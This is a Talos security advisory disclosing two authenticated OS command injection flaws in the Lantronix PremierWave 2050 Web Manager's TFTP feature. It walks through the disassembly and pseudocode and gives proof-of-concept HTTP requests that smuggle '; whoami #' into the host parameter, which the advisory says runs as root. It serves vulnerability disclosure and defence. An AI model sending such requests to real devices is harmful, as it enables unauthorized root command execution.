Headline
CVE-2021-21876: TALOS-2021-1315 || Cisco Talos Intelligence Group
Specially-crafted HTTP requests can lead to arbitrary command execution in PUT requests. An attacker can make authenticated HTTP requests to trigger this vulnerability.
Summary
Multiple OS command injection vulnerabilities exists in the Web Manager FsTFtp functionality of Lantronix PremierWave 2050 8.9.0.0R4. Specially-crafted HTTP requests can lead to arbitrary command execution. An attacker can make authenticated HTTP requests to trigger these vulnerabilities.
Tested Versions
Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)
Product URLs
https://www.lantronix.com/products/premierwave2050/
CVSSv3 Score
9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE
CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
Details
PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.
The PremierWave 2050 Web Manager provides a file system browser interface that, among other things, allows an authenticated and authorized user to move files to and from the system via TFTP. It accepts several HTTP parameters and then uses those parameters to craft one of two system calls to the tftp binary on the system. Below is the assembly responsible for parsing the HTTP parameters from the request:
PUSH {R4-R11,LR}
LDR R1, =aCwd ; "cwd"
SUB SP, SP, #0x1000
SUB SP, SP, #0x24
MOV R4, R0
BL http__get_param_by_name
LDR R1, =aCmd ; "cmd"
LDR R5, =PrintPostResults
MOV R7, R0 ; [1] Store "cwd" parameter into R7
MOV R0, R4
BL http__get_param_by_name
MOV R6, R0 ; [2] Store "cmd" parameter into R6
...
MOV R0, R2 ; [3] Verify that user has "filesystem" permissions
LDR R1, =aFilesystem ; "filesystem"
BL IsGroupListWritable
SUBS R2, R0, #0
BNE loc_56D1C
...
CMP R7, #0 ; [4] if ( !cwd || !*cwd ) { error }
BEQ loc_56D30
LDRB R3, [R7]
CMP R3, #0
BNE loc_56D4C
...
CMP R6, #0 ; [5] if ( !cmd || !*cmd ) { error }
BEQ loc_56D60
LDRB R3, [R6]
CMP R3, #0
BNE loc_56D80
...
MOV R0, R6 ; cmd
LDR R1, =(aTarget+3) ; "get"
BL strcmp [6] if ( cmd == "get" ) { is_put@R11 = False }
CMP R0, #0
BEQ loc_56DC4
MOV R0, R6 ; cmd
LDR R1, =aPut_0 ; "put" [7] if ( cmd != "put" ) { error } else { is_put@R11 = True }
BL strcmp
CMP R0, #0
MOVEQ R11, #1
BEQ loc_56DCC
...
MOV R11, R0
B loc_56DCC
MOV R0, R4
LDR R1, =aLocal ; "local"
BL http__get_param_by_name ; [8] Store "local" parameter into R5
SUBS R5, R0, #0 ; [9] if ( !local && !*local ) { local = "\0" }
BEQ loc_56DEC
LDRB R3, [R5]
CMP R3, #0
MOVEQ R5, #0
MOV R0, R4
LDR R1, =aRemote_0 ; "remote"
BL http__get_param_by_name ; [10] Store "remote" parameter into R6
SUBS R6, R0, #0 ; [11] if ( !remote && !*remote ) { remote = "\0" }
BEQ loc_56E0C
LDRB R3, [R6]
CMP R3, #0
MOVEQ R6, #0
MOV R0, R4
LDR R1, =aHost_0 ; "host"
BL http__get_param_by_name ; [12] Store "host" parameter into R9
SUBS R9, R0, #0 ; [13] if ( !host || !*host ) { error }
MOV R0, R4
BEQ loc_56E30
LDRB R3, [R9]
CMP R3, #0
BNE loc_56E48
LDR R1, =aPort ; "port" ;
BL http__get_param_by_name [14] Store "port" paramter into R3
SUBS R3, R0, #0 [15] if ( port_string && *port_string ) {
BEQ loc_56EA0
LDRB R3, [R3]
CMP R3, #0
BEQ loc_56EA0
MOV R2, #0xA ; base
MOV R1, #0 ; endptr
BL strtol [16] port@R10 = strtol(port_string, 0, 10);
...
MOV R10, #0x45 ; [17] } else { port@R10 = 69 }
This effectively decompiles to the following pseudocode:
cwd = get_POST_param("cwd");
cmd = get_POST_param("cmd");
local = get_POST_param("local");
remote = get_POST_param("remote");
host = get_POST_param("host");
port_s = get_POST_param("port");
if ( !IsGroupListWritable("filesystem") )
error();
if ( !cwd || !*cwd )
error();
if ( !cmd || !*cmd )
error();
if ( !host || !*host )
error();
if ( !port_s || !*port_s ) {
port = 69;
} else {
port = strtol(port_s, 0, 10);
}
At this point, the function selects one of two equally exploitable system calls, based on whether the user is initiating a TFTP GET or PUT. These paths are detailed below.
CVE-2021-21876 - “PUT” Command Injection
The assembly responsible for handling PUT requests is included below.
CMP R11, #0 ; [18] if { is_put } {
BEQ loc_56FF0
LDR R2, =PrintPostResults
LDR R3, =fs
BEQ loc_56FF0
MOV R0, R8
BEQ loc_56F20
MOV R1, R7
MOV R2, R5
MOV R3, #1
BL CwdParseMakePath ; [19] if ( !CwdParseMakePath(final_path, cwd, local, 1) || !final_path[0] ) { error }
CMP R0, #0
...
MOV R0, R8
BL FileIsHidden ; [20] if ( !FileIsHidden(final_path) ) {
CMP R0, #0
BNE loc_57098
CMP R6, #0 ; [21] if ( !remote )
BNE loc_56F58
MOV R0, R5
BL CwdParseLastItem ; [22] remote = CwdParseLastItem(local);
MOV R6, R0
MOV R3, R6
STMEA SP, {R9,R10}
LDR R1, =path ; "/ltrx_user"
MOV R2, R8
LDR R0, =aTftpLSSRSPSD21
BL sprintf_malloc ; [23] command = sprintf_malloc("tftp -l '%s/%s' -r '%s' -p %s %d 2>&1", "/ltrx_user", final_path, remote, host,
LDR R5, =0xFFFFEFF4
LDR R6, =0xFFFFEFF8
ADD R2, SP, #0x1048+var_48
MOV R3, #0
ADD R2, R2, #0x20 ; ' '
STR R3, [R2,R6]
STR R3, [R2,R5]
ADD R1, SP, #0x1048+result ; a2
ADD R2, SP, #0x1048+num_bytes ; a3
MOV R10, R0
BL exec_system_cmd_ex ; [24] exec_system_cmd_ex(command, &output, &num_bytes);
This effectively decompiles to the following pseudocode:
if ( is_put ) {
if ( !local )
error();
// `CwdParseMakePath` sanitizes '/../' style file paths
// before building the final path by concatenating `cwd` and `local` into `localfile`
if ( !CwdParseMakePath(localfile, cwd, local, 1) || !localfile[0] )
error();
if ( !remote )
remote = CwdParseLastItem(local); // If no remote file name is supplied, use the `basename` of the local file
if ( !FileIsHidden(localfile) ) {
command = sprintf_malloc("tftp -l '%s/%s' -r '%s' -g %s %d 2>&1", "/ltrx_user", localfile, remote, host, port);
exec_system_cmd_ex(command, &output, &num_bytes);
}
}
The following HTTP request attempts to execute a TFTP PUT file transfer:
POST / HTTP/1.1
Host: [IP]:[PORT]
Content-Length: 104
Authorization: Basic YnJvd25pZTpwb2ludHM=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
ajax=FsTFtp&cmd=put&local=sample&remote=sample&host=; whoami #&port=21&submit=Transfer&cwd=/
The host parameter will be injected, without validation, into the above tftp command and then executed with root privileges. The above request results in the following command:
tftp -l '/ltrx_user//sample' -r 'sample' -p ; whoami #
CVE-2021-21877 - “GET” Command Injection
The assembly responsible for handling GET requests is included below.
CMP R6, #0 ; [25] if ( !remote ) { error(); }
LDREQ R1, [R2]
MOVEQ R0, R4
LDREQ R2, [R3]
MOVEQ R3, #0x1A
BEQ loc_56D78
CMP R5, #0 ; [26] if ( !local ) {
ADD R8, SP, #0x1048+localfile
BNE loc_5702C
MOV R0, R6
BL CwdParseLastItem [27] local = CwdParseLastItem(remote); }
MOV R1, R7
MOV R2, R0
MOV R0, R8
B loc_57048
...
MOV R3, #1
BL CwdParseMakePath ; [28] if ( !CwdParseMakePath(localfile, v22, v23, 1) || !localfile[0] ) { error(); }
CMP R0, #0
BEQ loc_57098
LDR R3, =0xFFFFEFFC
ADD R2, SP, #0x1048+var_48
ADD R2, R2, #0x20 ; ' '
LDRB R3, [R2,R3]
CMP R3, #0
BNE loc_57088
B loc_57098
...
MOV R0, R8
BL FileIsHidden ; [29] if ( !FileIsHidden(localfile ) ) {
SUBS R5, R0, #0
BEQ loc_570B4
...
STMEA SP, {R9,R10}
LDR R1, =path ; "/ltrx_user"
MOV R3, R6
MOV R2, R8
LDR R0, =aTftpLSSRSGSD21
BL sprintf_malloc ; [30] command = sprintf_malloc("tftp -l '%s/%s' -r '%s' -g %s %d 2>&1", "/ltrx_user", localfile, remote, host, port);
LDR R6, =0xFFFFEFF4
LDR R10, =0xFFFFEFF8
ADD R3, SP, #0x1048+var_48
ADD R2, SP, #0x1048+var_1028
ADD R3, R3, #0x20 ; ' '
ADD R1, SP, #0x1048+result ; a2
SUB R2, R2, #8 ; a3
STR R5, [R3,R6]
STR R5, [R3,R10]
MOV R9, R0
BL exec_system_cmd_ex [31] exec_system_cmd_ex(command, &output, &num_bytes); }
This effectively decompiles to the following pseudocode:
if ( !is_put ) {
if ( !remote )
error();
if ( !local )
local = CwdParseLastItem(remote);
if ( !CwdParseMakePath(localfile, cwd, local, 1) || !localfile[0] )
error();
if ( !FileIsHidden(localfile) ) {
command = sprintf_malloc("tftp -l '%s/%s' -r '%s' -g %s %d 2>&1", "/ltrx_user", localfile, remote, host, port);
exec_system_cmd_ex(command, &output, &num_bytes);
} }
The following HTTP request attempts to execute a TFTP GET file transfer.
POST / HTTP/1.1
Host: [IP]:[PORT]
Content-Length: 104
Authorization: Basic YnJvd25pZTpwb2ludHM=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
ajax=FsTFtp&cmd=get&local=sample&remote=sample&host=; whoami #&port=21&submit=Transfer&cwd=/
The host parameter will be injected, without validation, into the above tftp command and then executed with root privileges. The above request results in the following command:
tftp -l '/ltrx_user//sample' -r 'sample' -g ; whoami #
Timeline
2021-06-14 - Vendor Disclosure
2021-06-15 - Vendor acknowledged
2021-09-01 - Talos granted disclosure extension to 2021-10-15
2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date
2021-11-15 - Public Release
Discovered by Matt Wiseman of Cisco Talos.